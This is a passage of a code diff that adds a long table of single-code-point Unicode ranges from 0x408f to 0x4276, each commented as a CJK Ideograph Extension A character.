+ [0x408f, 0x408f], /* CJK Ideograph Extension A */
+ [0x4090, 0x4090], /* CJK Ideograph Extension A */
+ [0x4091, 0x4091], /* CJK Ideograph Extension A */
+ [0x4092, 0x4092], /* CJK Ideograph Extension A */
+ [0x4093, 0x4093], /* CJK Ideograph Extension A */
+ [0x4094, 0x4094], /* CJK Ideograph Extension A */
+ [0x4095, 0x4095], /* CJK Ideograph Extension A */
+ [0x4096, 0x4096], /* CJK Ideograph Extension A */
+ [0x4097, 0x4097], /* CJK Ideograph Extension A */
+ [0x4098, 0x4098], /* CJK Ideograph Extension A */
+ [0x4099, 0x4099], /* CJK Ideograph Extension A */
+ [0x409a, 0x409a], /* CJK Ideograph Extension A */
+ [0x409b, 0x409b], /* CJK Ideograph Extension A */
+ [0x409c, 0x409c], /* CJK Ideograph Extension A */
+ [0x409d, 0x409d], /* CJK Ideograph Extension A */
+ [0x409e, 0x409e], /* CJK Ideograph Extension A */
+ [0x409f, 0x409f], /* CJK Ideograph Extension A */
+ [0x40a0, 0x40a0], /* CJK Ideograph Extension A */
+ [0x40a1, 0x40a1], /* CJK Ideograph Extension A */
+ [0x40a2, 0x40a2], /* CJK Ideograph Extension A */
+ [0x40a3, 0x40a3], /* CJK Ideograph Extension A */
+ [0x40a4, 0x40a4], /* CJK Ideograph Extension A */
+ [0x40a5, 0x40a5], /* CJK Ideograph Extension A */
+ [0x40a6, 0x40a6], /* CJK Ideograph Extension A */
+ [0x40a7, 0x40a7], /* CJK Ideograph Extension A */
+ [0x40a8, 0x40a8], /* CJK Ideograph Extension A */
+ [0x40a9, 0x40a9], /* CJK Ideograph Extension A */
+ [0x40aa, 0x40aa], /* CJK Ideograph Extension A */
+ [0x40ab, 0x40ab], /* CJK Ideograph Extension A */
+ [0x40ac, 0x40ac], /* CJK Ideograph Extension A */
+ [0x40ad, 0x40ad], /* CJK Ideograph Extension A */
+ [0x40ae, 0x40ae], /* CJK Ideograph Extension A */
+ [0x40af, 0x40af], /* CJK Ideograph Extension A */
+ [0x40b0, 0x40b0], /* CJK Ideograph Extension A */
+ [0x40b1, 0x40b1], /* CJK Ideograph Extension A */
+ [0x40b2, 0x40b2], /* CJK Ideograph Extension A */
+ [0x40b3, 0x40b3], /* CJK Ideograph Extension A */
+ [0x40b4, 0x40b4], /* CJK Ideograph Extension A */
+ [0x40b5, 0x40b5], /* CJK Ideograph Extension A */
+ [0x40b6, 0x40b6], /* CJK Ideograph Extension A */
+ [0x40b7, 0x40b7], /* CJK Ideograph Extension A */
+ [0x40b8, 0x40b8], /* CJK Ideograph Extension A */
+ [0x40b9, 0x40b9], /* CJK Ideograph Extension A */
+ [0x40ba, 0x40ba], /* CJK Ideograph Extension A */
+ [0x40bb, 0x40bb], /* CJK Ideograph Extension A */
+ [0x40bc, 0x40bc], /* CJK Ideograph Extension A */
+ [0x40bd, 0x40bd], /* CJK Ideograph Extension A */
+ [0x40be, 0x40be], /* CJK Ideograph Extension A */
+ [0x40bf, 0x40bf], /* CJK Ideograph Extension A */
+ [0x40c0, 0x40c0], /* CJK Ideograph Extension A */
+ [0x40c1, 0x40c1], /* CJK Ideograph Extension A */
+ [0x40c2, 0x40c2], /* CJK Ideograph Extension A */
+ [0x40c3, 0x40c3], /* CJK Ideograph Extension A */
+ [0x40c4, 0x40c4], /* CJK Ideograph Extension A */
+ [0x40c5, 0x40c5], /* CJK Ideograph Extension A */
+ [0x40c6, 0x40c6], /* CJK Ideograph Extension A */
+ [0x40c7, 0x40c7], /* CJK Ideograph Extension A */
+ [0x40c8, 0x40c8], /* CJK Ideograph Extension A */
+ [0x40c9, 0x40c9], /* CJK Ideograph Extension A */
+ [0x40ca, 0x40ca], /* CJK Ideograph Extension A */
+ [0x40cb, 0x40cb], /* CJK Ideograph Extension A */
+ [0x40cc, 0x40cc], /* CJK Ideograph Extension A */
+ [0x40cd, 0x40cd], /* CJK Ideograph Extension A */
+ [0x40ce, 0x40ce], /* CJK Ideograph Extension A */
+ [0x40cf, 0x40cf], /* CJK Ideograph Extension A */
+ [0x40d0, 0x40d0], /* CJK Ideograph Extension A */
+ [0x40d1, 0x40d1], /* CJK Ideograph Extension A */
+ [0x40d2, 0x40d2], /* CJK Ideograph Extension A */
+ [0x40d3, 0x40d3], /* CJK Ideograph Extension A */
+ [0x40d4, 0x40d4], /* CJK Ideograph Extension A */
+ [0x40d5, 0x40d5], /* CJK Ideograph Extension A */
+ [0x40d6, 0x40d6], /* CJK Ideograph Extension A */
+ [0x40d7, 0x40d7], /* CJK Ideograph Extension A */
+ [0x40d8, 0x40d8], /* CJK Ideograph Extension A */
+ [0x40d9, 0x40d9], /* CJK Ideograph Extension A */
+ [0x40da, 0x40da], /* CJK Ideograph Extension A */
+ [0x40db, 0x40db], /* CJK Ideograph Extension A */
+ [0x40dc, 0x40dc], /* CJK Ideograph Extension A */
+ [0x40dd, 0x40dd], /* CJK Ideograph Extension A */
+ [0x40de, 0x40de], /* CJK Ideograph Extension A */
+ [0x40df, 0x40df], /* CJK Ideograph Extension A */
+ [0x40e0, 0x40e0], /* CJK Ideograph Extension A */
+ [0x40e1, 0x40e1], /* CJK Ideograph Extension A */
+ [0x40e2, 0x40e2], /* CJK Ideograph Extension A */
+ [0x40e3, 0x40e3], /* CJK Ideograph Extension A */
+ [0x40e4, 0x40e4], /* CJK Ideograph Extension A */
+ [0x40e5, 0x40e5], /* CJK Ideograph Extension A */
+ [0x40e6, 0x40e6], /* CJK Ideograph Extension A */
+ [0x40e7, 0x40e7], /* CJK Ideograph Extension A */
+ [0x40e8, 0x40e8], /* CJK Ideograph Extension A */
+ [0x40e9, 0x40e9], /* CJK Ideograph Extension A */
+ [0x40ea, 0x40ea], /* CJK Ideograph Extension A */
+ [0x40eb, 0x40eb], /* CJK Ideograph Extension A */
+ [0x40ec, 0x40ec], /* CJK Ideograph Extension A */
+ [0x40ed, 0x40ed], /* CJK Ideograph Extension A */
+ [0x40ee, 0x40ee], /* CJK Ideograph Extension A */
+ [0x40ef, 0x40ef], /* CJK Ideograph Extension A */
+ [0x40f0, 0x40f0], /* CJK Ideograph Extension A */
+ [0x40f1, 0x40f1], /* CJK Ideograph Extension A */
+ [0x40f2, 0x40f2], /* CJK Ideograph Extension A */
+ [0x40f3, 0x40f3], /* CJK Ideograph Extension A */
+ [0x40f4, 0x40f4], /* CJK Ideograph Extension A */
+ [0x40f5, 0x40f5], /* CJK Ideograph Extension A */
+ [0x40f6, 0x40f6], /* CJK Ideograph Extension A */
+ [0x40f7, 0x40f7], /* CJK Ideograph Extension A */
+ [0x40f8, 0x40f8], /* CJK Ideograph Extension A */
+ [0x40f9, 0x40f9], /* CJK Ideograph Extension A */
+ [0x40fa, 0x40fa], /* CJK Ideograph Extension A */
+ [0x40fb, 0x40fb], /* CJK Ideograph Extension A */
+ [0x40fc, 0x40fc], /* CJK Ideograph Extension A */
+ [0x40fd, 0x40fd], /* CJK Ideograph Extension A */
+ [0x40fe, 0x40fe], /* CJK Ideograph Extension A */
+ [0x40ff, 0x40ff], /* CJK Ideograph Extension A */
+ [0x4100, 0x4100], /* CJK Ideograph Extension A */
+ [0x4101, 0x4101], /* CJK Ideograph Extension A */
+ [0x4102, 0x4102], /* CJK Ideograph Extension A */
+ [0x4103, 0x4103], /* CJK Ideograph Extension A */
+ [0x4104, 0x4104], /* CJK Ideograph Extension A */
+ [0x4105, 0x4105], /* CJK Ideograph Extension A */
+ [0x4106, 0x4106], /* CJK Ideograph Extension A */
+ [0x4107, 0x4107], /* CJK Ideograph Extension A */
+ [0x4108, 0x4108], /* CJK Ideograph Extension A */
+ [0x4109, 0x4109], /* CJK Ideograph Extension A */
+ [0x410a, 0x410a], /* CJK Ideograph Extension A */
+ [0x410b, 0x410b], /* CJK Ideograph Extension A */
+ [0x410c, 0x410c], /* CJK Ideograph Extension A */
+ [0x410d, 0x410d], /* CJK Ideograph Extension A */
+ [0x410e, 0x410e], /* CJK Ideograph Extension A */
+ [0x410f, 0x410f], /* CJK Ideograph Extension A */
+ [0x4110, 0x4110], /* CJK Ideograph Extension A */
+ [0x4111, 0x4111], /* CJK Ideograph Extension A */
+ [0x4112, 0x4112], /* CJK Ideograph Extension A */
+ [0x4113, 0x4113], /* CJK Ideograph Extension A */
+ [0x4114, 0x4114], /* CJK Ideograph Extension A */
+ [0x4115, 0x4115], /* CJK Ideograph Extension A */
+ [0x4116, 0x4116], /* CJK Ideograph Extension A */
+ [0x4117, 0x4117], /* CJK Ideograph Extension A */
+ [0x4118, 0x4118], /* CJK Ideograph Extension A */
+ [0x4119, 0x4119], /* CJK Ideograph Extension A */
+ [0x411a, 0x411a], /* CJK Ideograph Extension A */
+ [0x411b, 0x411b], /* CJK Ideograph Extension A */
+ [0x411c, 0x411c], /* CJK Ideograph Extension A */
+ [0x411d, 0x411d], /* CJK Ideograph Extension A */
+ [0x411e, 0x411e], /* CJK Ideograph Extension A */
+ [0x411f, 0x411f], /* CJK Ideograph Extension A */
+ [0x4120, 0x4120], /* CJK Ideograph Extension A */
+ [0x4121, 0x4121], /* CJK Ideograph Extension A */
+ [0x4122, 0x4122], /* CJK Ideograph Extension A */
+ [0x4123, 0x4123], /* CJK Ideograph Extension A */
+ [0x4124, 0x4124], /* CJK Ideograph Extension A */
+ [0x4125, 0x4125], /* CJK Ideograph Extension A */
+ [0x4126, 0x4126], /* CJK Ideograph Extension A */
+ [0x4127, 0x4127], /* CJK Ideograph Extension A */
+ [0x4128, 0x4128], /* CJK Ideograph Extension A */
+ [0x4129, 0x4129], /* CJK Ideograph Extension A */
+ [0x412a, 0x412a], /* CJK Ideograph Extension A */
+ [0x412b, 0x412b], /* CJK Ideograph Extension A */
+ [0x412c, 0x412c], /* CJK Ideograph Extension A */
+ [0x412d, 0x412d], /* CJK Ideograph Extension A */
+ [0x412e, 0x412e], /* CJK Ideograph Extension A */
+ [0x412f, 0x412f], /* CJK Ideograph Extension A */
+ [0x4130, 0x4130], /* CJK Ideograph Extension A */
+ [0x4131, 0x4131], /* CJK Ideograph Extension A */
+ [0x4132, 0x4132], /* CJK Ideograph Extension A */
+ [0x4133, 0x4133], /* CJK Ideograph Extension A */
+ [0x4134, 0x4134], /* CJK Ideograph Extension A */
+ [0x4135, 0x4135], /* CJK Ideograph Extension A */
+ [0x4136, 0x4136], /* CJK Ideograph Extension A */
+ [0x4137, 0x4137], /* CJK Ideograph Extension A */
+ [0x4138, 0x4138], /* CJK Ideograph Extension A */
+ [0x4139, 0x4139], /* CJK Ideograph Extension A */
+ [0x413a, 0x413a], /* CJK Ideograph Extension A */
+ [0x413b, 0x413b], /* CJK Ideograph Extension A */
+ [0x413c, 0x413c], /* CJK Ideograph Extension A */
+ [0x413d, 0x413d], /* CJK Ideograph Extension A */
+ [0x413e, 0x413e], /* CJK Ideograph Extension A */
+ [0x413f, 0x413f], /* CJK Ideograph Extension A */
+ [0x4140, 0x4140], /* CJK Ideograph Extension A */
+ [0x4141, 0x4141], /* CJK Ideograph Extension A */
+ [0x4142, 0x4142], /* CJK Ideograph Extension A */
+ [0x4143, 0x4143], /* CJK Ideograph Extension A */
+ [0x4144, 0x4144], /* CJK Ideograph Extension A */
+ [0x4145, 0x4145], /* CJK Ideograph Extension A */
+ [0x4146, 0x4146], /* CJK Ideograph Extension A */
+ [0x4147, 0x4147], /* CJK Ideograph Extension A */
+ [0x4148, 0x4148], /* CJK Ideograph Extension A */
+ [0x4149, 0x4149], /* CJK Ideograph Extension A */
+ [0x414a, 0x414a], /* CJK Ideograph Extension A */
+ [0x414b, 0x414b], /* CJK Ideograph Extension A */
+ [0x414c, 0x414c], /* CJK Ideograph Extension A */
+ [0x414d, 0x414d], /* CJK Ideograph Extension A */
+ [0x414e, 0x414e], /* CJK Ideograph Extension A */
+ [0x414f, 0x414f], /* CJK Ideograph Extension A */
+ [0x4150, 0x4150], /* CJK Ideograph Extension A */
+ [0x4151, 0x4151], /* CJK Ideograph Extension A */
+ [0x4152, 0x4152], /* CJK Ideograph Extension A */
+ [0x4153, 0x4153], /* CJK Ideograph Extension A */
+ [0x4154, 0x4154], /* CJK Ideograph Extension A */
+ [0x4155, 0x4155], /* CJK Ideograph Extension A */
+ [0x4156, 0x4156], /* CJK Ideograph Extension A */
+ [0x4157, 0x4157], /* CJK Ideograph Extension A */
+ [0x4158, 0x4158], /* CJK Ideograph Extension A */
+ [0x4159, 0x4159], /* CJK Ideograph Extension A */
+ [0x415a, 0x415a], /* CJK Ideograph Extension A */
+ [0x415b, 0x415b], /* CJK Ideograph Extension A */
+ [0x415c, 0x415c], /* CJK Ideograph Extension A */
+ [0x415d, 0x415d], /* CJK Ideograph Extension A */
+ [0x415e, 0x415e], /* CJK Ideograph Extension A */
+ [0x415f, 0x415f], /* CJK Ideograph Extension A */
+ [0x4160, 0x4160], /* CJK Ideograph Extension A */
+ [0x4161, 0x4161], /* CJK Ideograph Extension A */
+ [0x4162, 0x4162], /* CJK Ideograph Extension A */
+ [0x4163, 0x4163], /* CJK Ideograph Extension A */
+ [0x4164, 0x4164], /* CJK Ideograph Extension A */
+ [0x4165, 0x4165], /* CJK Ideograph Extension A */
+ [0x4166, 0x4166], /* CJK Ideograph Extension A */
+ [0x4167, 0x4167], /* CJK Ideograph Extension A */
+ [0x4168, 0x4168], /* CJK Ideograph Extension A */
+ [0x4169, 0x4169], /* CJK Ideograph Extension A */
+ [0x416a, 0x416a], /* CJK Ideograph Extension A */
+ [0x416b, 0x416b], /* CJK Ideograph Extension A */
+ [0x416c, 0x416c], /* CJK Ideograph Extension A */
+ [0x416d, 0x416d], /* CJK Ideograph Extension A */
+ [0x416e, 0x416e], /* CJK Ideograph Extension A */
+ [0x416f, 0x416f], /* CJK Ideograph Extension A */
+ [0x4170, 0x4170], /* CJK Ideograph Extension A */
+ [0x4171, 0x4171], /* CJK Ideograph Extension A */
+ [0x4172, 0x4172], /* CJK Ideograph Extension A */
+ [0x4173, 0x4173], /* CJK Ideograph Extension A */
+ [0x4174, 0x4174], /* CJK Ideograph Extension A */
+ [0x4175, 0x4175], /* CJK Ideograph Extension A */
+ [0x4176, 0x4176], /* CJK Ideograph Extension A */
+ [0x4177, 0x4177], /* CJK Ideograph Extension A */
+ [0x4178, 0x4178], /* CJK Ideograph Extension A */
+ [0x4179, 0x4179], /* CJK Ideograph Extension A */
+ [0x417a, 0x417a], /* CJK Ideograph Extension A */
+ [0x417b, 0x417b], /* CJK Ideograph Extension A */
+ [0x417c, 0x417c], /* CJK Ideograph Extension A */
+ [0x417d, 0x417d], /* CJK Ideograph Extension A */
+ [0x417e, 0x417e], /* CJK Ideograph Extension A */
+ [0x417f, 0x417f], /* CJK Ideograph Extension A */
+ [0x4180, 0x4180], /* CJK Ideograph Extension A */
+ [0x4181, 0x4181], /* CJK Ideograph Extension A */
+ [0x4182, 0x4182], /* CJK Ideograph Extension A */
+ [0x4183, 0x4183], /* CJK Ideograph Extension A */
+ [0x4184, 0x4184], /* CJK Ideograph Extension A */
+ [0x4185, 0x4185], /* CJK Ideograph Extension A */
+ [0x4186, 0x4186], /* CJK Ideograph Extension A */
+ [0x4187, 0x4187], /* CJK Ideograph Extension A */
+ [0x4188, 0x4188], /* CJK Ideograph Extension A */
+ [0x4189, 0x4189], /* CJK Ideograph Extension A */
+ [0x418a, 0x418a], /* CJK Ideograph Extension A */
+ [0x418b, 0x418b], /* CJK Ideograph Extension A */
+ [0x418c, 0x418c], /* CJK Ideograph Extension A */
+ [0x418d, 0x418d], /* CJK Ideograph Extension A */
+ [0x418e, 0x418e], /* CJK Ideograph Extension A */
+ [0x418f, 0x418f], /* CJK Ideograph Extension A */
+ [0x4190, 0x4190], /* CJK Ideograph Extension A */
+ [0x4191, 0x4191], /* CJK Ideograph Extension A */
+ [0x4192, 0x4192], /* CJK Ideograph Extension A */
+ [0x4193, 0x4193], /* CJK Ideograph Extension A */
+ [0x4194, 0x4194], /* CJK Ideograph Extension A */
+ [0x4195, 0x4195], /* CJK Ideograph Extension A */
+ [0x4196, 0x4196], /* CJK Ideograph Extension A */
+ [0x4197, 0x4197], /* CJK Ideograph Extension A */
+ [0x4198, 0x4198], /* CJK Ideograph Extension A */
+ [0x4199, 0x4199], /* CJK Ideograph Extension A */
+ [0x419a, 0x419a], /* CJK Ideograph Extension A */
+ [0x419b, 0x419b], /* CJK Ideograph Extension A */
+ [0x419c, 0x419c], /* CJK Ideograph Extension A */
+ [0x419d, 0x419d], /* CJK Ideograph Extension A */
+ [0x419e, 0x419e], /* CJK Ideograph Extension A */
+ [0x419f, 0x419f], /* CJK Ideograph Extension A */
+ [0x41a0, 0x41a0], /* CJK Ideograph Extension A */
+ [0x41a1, 0x41a1], /* CJK Ideograph Extension A */
+ [0x41a2, 0x41a2], /* CJK Ideograph Extension A */
+ [0x41a3, 0x41a3], /* CJK Ideograph Extension A */
+ [0x41a4, 0x41a4], /* CJK Ideograph Extension A */
+ [0x41a5, 0x41a5], /* CJK Ideograph Extension A */
+ [0x41a6, 0x41a6], /* CJK Ideograph Extension A */
+ [0x41a7, 0x41a7], /* CJK Ideograph Extension A */
+ [0x41a8, 0x41a8], /* CJK Ideograph Extension A */
+ [0x41a9, 0x41a9], /* CJK Ideograph Extension A */
+ [0x41aa, 0x41aa], /* CJK Ideograph Extension A */
+ [0x41ab, 0x41ab], /* CJK Ideograph Extension A */
+ [0x41ac, 0x41ac], /* CJK Ideograph Extension A */
+ [0x41ad, 0x41ad], /* CJK Ideograph Extension A */
+ [0x41ae, 0x41ae], /* CJK Ideograph Extension A */
+ [0x41af, 0x41af], /* CJK Ideograph Extension A */
+ [0x41b0, 0x41b0], /* CJK Ideograph Extension A */
+ [0x41b1, 0x41b1], /* CJK Ideograph Extension A */
+ [0x41b2, 0x41b2], /* CJK Ideograph Extension A */
+ [0x41b3, 0x41b3], /* CJK Ideograph Extension A */
+ [0x41b4, 0x41b4], /* CJK Ideograph Extension A */
+ [0x41b5, 0x41b5], /* CJK Ideograph Extension A */
+ [0x41b6, 0x41b6], /* CJK Ideograph Extension A */
+ [0x41b7, 0x41b7], /* CJK Ideograph Extension A */
+ [0x41b8, 0x41b8], /* CJK Ideograph Extension A */
+ [0x41b9, 0x41b9], /* CJK Ideograph Extension A */
+ [0x41ba, 0x41ba], /* CJK Ideograph Extension A */
+ [0x41bb, 0x41bb], /* CJK Ideograph Extension A */
+ [0x41bc, 0x41bc], /* CJK Ideograph Extension A */
+ [0x41bd, 0x41bd], /* CJK Ideograph Extension A */
+ [0x41be, 0x41be], /* CJK Ideograph Extension A */
+ [0x41bf, 0x41bf], /* CJK Ideograph Extension A */
+ [0x41c0, 0x41c0], /* CJK Ideograph Extension A */
+ [0x41c1, 0x41c1], /* CJK Ideograph Extension A */
+ [0x41c2, 0x41c2], /* CJK Ideograph Extension A */
+ [0x41c3, 0x41c3], /* CJK Ideograph Extension A */
+ [0x41c4, 0x41c4], /* CJK Ideograph Extension A */
+ [0x41c5, 0x41c5], /* CJK Ideograph Extension A */
+ [0x41c6, 0x41c6], /* CJK Ideograph Extension A */
+ [0x41c7, 0x41c7], /* CJK Ideograph Extension A */
+ [0x41c8, 0x41c8], /* CJK Ideograph Extension A */
+ [0x41c9, 0x41c9], /* CJK Ideograph Extension A */
+ [0x41ca, 0x41ca], /* CJK Ideograph Extension A */
+ [0x41cb, 0x41cb], /* CJK Ideograph Extension A */
+ [0x41cc, 0x41cc], /* CJK Ideograph Extension A */
+ [0x41cd, 0x41cd], /* CJK Ideograph Extension A */
+ [0x41ce, 0x41ce], /* CJK Ideograph Extension A */
+ [0x41cf, 0x41cf], /* CJK Ideograph Extension A */
+ [0x41d0, 0x41d0], /* CJK Ideograph Extension A */
+ [0x41d1, 0x41d1], /* CJK Ideograph Extension A */
+ [0x41d2, 0x41d2], /* CJK Ideograph Extension A */
+ [0x41d3, 0x41d3], /* CJK Ideograph Extension A */
+ [0x41d4, 0x41d4], /* CJK Ideograph Extension A */
+ [0x41d5, 0x41d5], /* CJK Ideograph Extension A */
+ [0x41d6, 0x41d6], /* CJK Ideograph Extension A */
+ [0x41d7, 0x41d7], /* CJK Ideograph Extension A */
+ [0x41d8, 0x41d8], /* CJK Ideograph Extension A */
+ [0x41d9, 0x41d9], /* CJK Ideograph Extension A */
+ [0x41da, 0x41da], /* CJK Ideograph Extension A */
+ [0x41db, 0x41db], /* CJK Ideograph Extension A */
+ [0x41dc, 0x41dc], /* CJK Ideograph Extension A */
+ [0x41dd, 0x41dd], /* CJK Ideograph Extension A */
+ [0x41de, 0x41de], /* CJK Ideograph Extension A */
+ [0x41df, 0x41df], /* CJK Ideograph Extension A */
+ [0x41e0, 0x41e0], /* CJK Ideograph Extension A */
+ [0x41e1, 0x41e1], /* CJK Ideograph Extension A */
+ [0x41e2, 0x41e2], /* CJK Ideograph Extension A */
+ [0x41e3, 0x41e3], /* CJK Ideograph Extension A */
+ [0x41e4, 0x41e4], /* CJK Ideograph Extension A */
+ [0x41e5, 0x41e5], /* CJK Ideograph Extension A */
+ [0x41e6, 0x41e6], /* CJK Ideograph Extension A */
+ [0x41e7, 0x41e7], /* CJK Ideograph Extension A */
+ [0x41e8, 0x41e8], /* CJK Ideograph Extension A */
+ [0x41e9, 0x41e9], /* CJK Ideograph Extension A */
+ [0x41ea, 0x41ea], /* CJK Ideograph Extension A */
+ [0x41eb, 0x41eb], /* CJK Ideograph Extension A */
+ [0x41ec, 0x41ec], /* CJK Ideograph Extension A */
+ [0x41ed, 0x41ed], /* CJK Ideograph Extension A */
+ [0x41ee, 0x41ee], /* CJK Ideograph Extension A */
+ [0x41ef, 0x41ef], /* CJK Ideograph Extension A */
+ [0x41f0, 0x41f0], /* CJK Ideograph Extension A */
+ [0x41f1, 0x41f1], /* CJK Ideograph Extension A */
+ [0x41f2, 0x41f2], /* CJK Ideograph Extension A */
+ [0x41f3, 0x41f3], /* CJK Ideograph Extension A */
+ [0x41f4, 0x41f4], /* CJK Ideograph Extension A */
+ [0x41f5, 0x41f5], /* CJK Ideograph Extension A */
+ [0x41f6, 0x41f6], /* CJK Ideograph Extension A */
+ [0x41f7, 0x41f7], /* CJK Ideograph Extension A */
+ [0x41f8, 0x41f8], /* CJK Ideograph Extension A */
+ [0x41f9, 0x41f9], /* CJK Ideograph Extension A */
+ [0x41fa, 0x41fa], /* CJK Ideograph Extension A */
+ [0x41fb, 0x41fb], /* CJK Ideograph Extension A */
+ [0x41fc, 0x41fc], /* CJK Ideograph Extension A */
+ [0x41fd, 0x41fd], /* CJK Ideograph Extension A */
+ [0x41fe, 0x41fe], /* CJK Ideograph Extension A */
+ [0x41ff, 0x41ff], /* CJK Ideograph Extension A */
+ [0x4200, 0x4200], /* CJK Ideograph Extension A */
+ [0x4201, 0x4201], /* CJK Ideograph Extension A */
+ [0x4202, 0x4202], /* CJK Ideograph Extension A */
+ [0x4203, 0x4203], /* CJK Ideograph Extension A */
+ [0x4204, 0x4204], /* CJK Ideograph Extension A */
+ [0x4205, 0x4205], /* CJK Ideograph Extension A */
+ [0x4206, 0x4206], /* CJK Ideograph Extension A */
+ [0x4207, 0x4207], /* CJK Ideograph Extension A */
+ [0x4208, 0x4208], /* CJK Ideograph Extension A */
+ [0x4209, 0x4209], /* CJK Ideograph Extension A */
+ [0x420a, 0x420a], /* CJK Ideograph Extension A */
+ [0x420b, 0x420b], /* CJK Ideograph Extension A */
+ [0x420c, 0x420c], /* CJK Ideograph Extension A */
+ [0x420d, 0x420d], /* CJK Ideograph Extension A */
+ [0x420e, 0x420e], /* CJK Ideograph Extension A */
+ [0x420f, 0x420f], /* CJK Ideograph Extension A */
+ [0x4210, 0x4210], /* CJK Ideograph Extension A */
+ [0x4211, 0x4211], /* CJK Ideograph Extension A */
+ [0x4212, 0x4212], /* CJK Ideograph Extension A */
+ [0x4213, 0x4213], /* CJK Ideograph Extension A */
+ [0x4214, 0x4214], /* CJK Ideograph Extension A */
+ [0x4215, 0x4215], /* CJK Ideograph Extension A */
+ [0x4216, 0x4216], /* CJK Ideograph Extension A */
+ [0x4217, 0x4217], /* CJK Ideograph Extension A */
+ [0x4218, 0x4218], /* CJK Ideograph Extension A */
+ [0x4219, 0x4219], /* CJK Ideograph Extension A */
+ [0x421a, 0x421a], /* CJK Ideograph Extension A */
+ [0x421b, 0x421b], /* CJK Ideograph Extension A */
+ [0x421c, 0x421c], /* CJK Ideograph Extension A */
+ [0x421d, 0x421d], /* CJK Ideograph Extension A */
+ [0x421e, 0x421e], /* CJK Ideograph Extension A */
+ [0x421f, 0x421f], /* CJK Ideograph Extension A */
+ [0x4220, 0x4220], /* CJK Ideograph Extension A */
+ [0x4221, 0x4221], /* CJK Ideograph Extension A */
+ [0x4222, 0x4222], /* CJK Ideograph Extension A */
+ [0x4223, 0x4223], /* CJK Ideograph Extension A */
+ [0x4224, 0x4224], /* CJK Ideograph Extension A */
+ [0x4225, 0x4225], /* CJK Ideograph Extension A */
+ [0x4226, 0x4226], /* CJK Ideograph Extension A */
+ [0x4227, 0x4227], /* CJK Ideograph Extension A */
+ [0x4228, 0x4228], /* CJK Ideograph Extension A */
+ [0x4229, 0x4229], /* CJK Ideograph Extension A */
+ [0x422a, 0x422a], /* CJK Ideograph Extension A */
+ [0x422b, 0x422b], /* CJK Ideograph Extension A */
+ [0x422c, 0x422c], /* CJK Ideograph Extension A */
+ [0x422d, 0x422d], /* CJK Ideograph Extension A */
+ [0x422e, 0x422e], /* CJK Ideograph Extension A */
+ [0x422f, 0x422f], /* CJK Ideograph Extension A */
+ [0x4230, 0x4230], /* CJK Ideograph Extension A */
+ [0x4231, 0x4231], /* CJK Ideograph Extension A */
+ [0x4232, 0x4232], /* CJK Ideograph Extension A */
+ [0x4233, 0x4233], /* CJK Ideograph Extension A */
+ [0x4234, 0x4234], /* CJK Ideograph Extension A */
+ [0x4235, 0x4235], /* CJK Ideograph Extension A */
+ [0x4236, 0x4236], /* CJK Ideograph Extension A */
+ [0x4237, 0x4237], /* CJK Ideograph Extension A */
+ [0x4238, 0x4238], /* CJK Ideograph Extension A */
+ [0x4239, 0x4239], /* CJK Ideograph Extension A */
+ [0x423a, 0x423a], /* CJK Ideograph Extension A */
+ [0x423b, 0x423b], /* CJK Ideograph Extension A */
+ [0x423c, 0x423c], /* CJK Ideograph Extension A */
+ [0x423d, 0x423d], /* CJK Ideograph Extension A */
+ [0x423e, 0x423e], /* CJK Ideograph Extension A */
+ [0x423f, 0x423f], /* CJK Ideograph Extension A */
+ [0x4240, 0x4240], /* CJK Ideograph Extension A */
+ [0x4241, 0x4241], /* CJK Ideograph Extension A */
+ [0x4242, 0x4242], /* CJK Ideograph Extension A */
+ [0x4243, 0x4243], /* CJK Ideograph Extension A */
+ [0x4244, 0x4244], /* CJK Ideograph Extension A */
+ [0x4245, 0x4245], /* CJK Ideograph Extension A */
+ [0x4246, 0x4246], /* CJK Ideograph Extension A */
+ [0x4247, 0x4247], /* CJK Ideograph Extension A */
+ [0x4248, 0x4248], /* CJK Ideograph Extension A */
+ [0x4249, 0x4249], /* CJK Ideograph Extension A */
+ [0x424a, 0x424a], /* CJK Ideograph Extension A */
+ [0x424b, 0x424b], /* CJK Ideograph Extension A */
+ [0x424c, 0x424c], /* CJK Ideograph Extension A */
+ [0x424d, 0x424d], /* CJK Ideograph Extension A */
+ [0x424e, 0x424e], /* CJK Ideograph Extension A */
+ [0x424f, 0x424f], /* CJK Ideograph Extension A */
+ [0x4250, 0x4250], /* CJK Ideograph Extension A */
+ [0x4251, 0x4251], /* CJK Ideograph Extension A */
+ [0x4252, 0x4252], /* CJK Ideograph Extension A */
+ [0x4253, 0x4253], /* CJK Ideograph Extension A */
+ [0x4254, 0x4254], /* CJK Ideograph Extension A */
+ [0x4255, 0x4255], /* CJK Ideograph Extension A */
+ [0x4256, 0x4256], /* CJK Ideograph Extension A */
+ [0x4257, 0x4257], /* CJK Ideograph Extension A */
+ [0x4258, 0x4258], /* CJK Ideograph Extension A */
+ [0x4259, 0x4259], /* CJK Ideograph Extension A */
+ [0x425a, 0x425a], /* CJK Ideograph Extension A */
+ [0x425b, 0x425b], /* CJK Ideograph Extension A */
+ [0x425c, 0x425c], /* CJK Ideograph Extension A */
+ [0x425d, 0x425d], /* CJK Ideograph Extension A */
+ [0x425e, 0x425e], /* CJK Ideograph Extension A */
+ [0x425f, 0x425f], /* CJK Ideograph Extension A */
+ [0x4260, 0x4260], /* CJK Ideograph Extension A */
+ [0x4261, 0x4261], /* CJK Ideograph Extension A */
+ [0x4262, 0x4262], /* CJK Ideograph Extension A */
+ [0x4263, 0x4263], /* CJK Ideograph Extension A */
+ [0x4264, 0x4264], /* CJK Ideograph Extension A */
+ [0x4265, 0x4265], /* CJK Ideograph Extension A */
+ [0x4266, 0x4266], /* CJK Ideograph Extension A */
+ [0x4267, 0x4267], /* CJK Ideograph Extension A */
+ [0x4268, 0x4268], /* CJK Ideograph Extension A */
+ [0x4269, 0x4269], /* CJK Ideograph Extension A */
+ [0x426a, 0x426a], /* CJK Ideograph Extension A */
+ [0x426b, 0x426b], /* CJK Ideograph Extension A */
+ [0x426c, 0x426c], /* CJK Ideograph Extension A */
+ [0x426d, 0x426d], /* CJK Ideograph Extension A */
+ [0x426e, 0x426e], /* CJK Ideograph Extension A */
+ [0x426f, 0x426f], /* CJK Ideograph Extension A */
+ [0x4270, 0x4270], /* CJK Ideograph Extension A */
+ [0x4271, 0x4271], /* CJK Ideograph Extension A */
+ [0x4272, 0x4272], /* CJK Ideograph Extension A */
+ [0x4273, 0x4273], /* CJK Ideograph Extension A */
+ [0x4274, 0x4274], /* CJK Ideograph Extension A */
+ [0x4275, 0x4275], /* CJK Ideograph Extension A */
+ [0x4276, 0x4276], /* CJK Ideograph Extension A */
